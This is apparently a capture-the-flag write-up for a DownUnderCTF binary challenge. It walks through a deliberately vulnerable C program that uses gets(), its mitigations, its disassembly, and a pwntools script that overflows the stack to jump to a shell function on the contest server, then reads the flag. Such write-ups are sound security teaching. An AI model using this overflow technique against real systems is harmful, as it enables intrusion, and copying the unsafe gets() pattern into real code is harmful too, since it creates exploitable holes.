Rating: 4.5

# **The Challenge**

```
#include <stdio.h>
#include <unistd.h>

__attribute__((constructor))
void setup() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

void get_shell() {
execve("/bin/sh", NULL, NULL);
}

void vuln() {
char name[40];

printf("Please tell me your name: ");
gets(name);
}

int main(void) {
printf("Welcome! Can you figure out how to get this program to give you a shell?\n");
vuln();
printf("Unfortunately, you did not win. Please try again another time!\n");
}

```

# **The Mitigations**

By running checksec on it we get the following results:

```
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

With those results we can carefully say the followings:

1) The addresses of the .text are not randomized and always the same (There is no PIE)
2) We can jump to where ever we want in the code if we could find the exploit (There is no Canary)

# **The Vulnerabilities/ Game Plan**
In the challenge code written above we can see three functions other then main, knowing the fact that the content of setup() is standard lets examine the two remaining methods:

1) The method vuln asking the user to enter some input and then inputting it with the function gets, gets is an extremely vulnarble function, it does not limit the amount of data that can be entered to it and by not doing so (and with the described missing mitigations) it allows us to enter the amount of data necessary to overflow the buffer and set the return address to where ever we want, looking at the asm code while visulizing the stack is giving us the proper amount which is 56 bytes (1 char = 1 byte).

```
0x00000000004006e7 <+0>: push rbp
0x00000000004006e8 <+1>: mov rbp,rsp
0x00000000004006eb <+4>: sub rsp,0x30
0x00000000004006ef <+8>: lea rdi,[rip+0xea] # 0x4007e0
0x00000000004006f6 <+15>: mov eax,0x0
0x00000000004006fb <+20>: call 0x400560 <printf@plt>
0x0000000000400700 <+25>: lea rax,[rbp-0x30]
0x0000000000400704 <+29>: mov rdi,rax
0x0000000000400707 <+32>: mov eax,0x0
0x000000000040070c <+37>: call 0x400580 <gets@plt>
0x0000000000400711 <+42>: nop
0x0000000000400712 <+43>: leave
0x0000000000400713 <+44>: ret


00:0000│ rax r8 rsp 0x7fffffffe090 ◂— 0x4141414141 /* 'AAAAA' */
01:0008│ 0x7fffffffe098 —▸ 0x7ffff7e5271a (puts+378) ◂— cmp eax, -1
02:0010│ 0x7fffffffe0a0 —▸ 0x400750 (__libc_csu_init) ◂— push r15
03:0018│ 0x7fffffffe0a8 —▸ 0x7fffffffe0d0 ◂— 0x0
04:0020│ 0x7fffffffe0b0 —▸ 0x4005a0 (_start) ◂— xor ebp, ebp
05:0028│ 0x7fffffffe0b8 —▸ 0x7fffffffe1c0 ◂— 0x1
06:0030│ rbp 0x7fffffffe0c0 —▸ 0x7fffffffe0d0 ◂— 0x0
07:0038│ 0x7fffffffe0c8 —▸ 0x40072e (main+26) ◂— lea rdi, [rip + 0x11b] # the deired return address at main

```

2) The method get_shell is basically opening a shell using execve and the shell path, with a shell open we can search for a flag file and use the cat command to print its content

> execve() executes the program referred to by pathname.

Game plan in summery: we will overflow the return address of vuln via gets to the get_shell function and then use the open shell to search for a flag file and see its content.

# **Exploit**
```
from pwn import *

p = remote("chal.duc.tf", 30002)

print(p.recvuntil("name: "))
p.sendline(b"A" * 56 + p64(0x4006CA)) #sending 56 bytes + address of get_shell

p.interactive()
```

# **Result**
```
b'Welcome! Can you figure out how to get this program to give you a shell?\nPlease tell me your name: '
[*] Switching to interactive mode
$ ls
flag.txt
shellthis
$ cat flag.txt
DUCTF{h0w_d1d_you_c4LL_That_funCT10n?!?!?}
$
```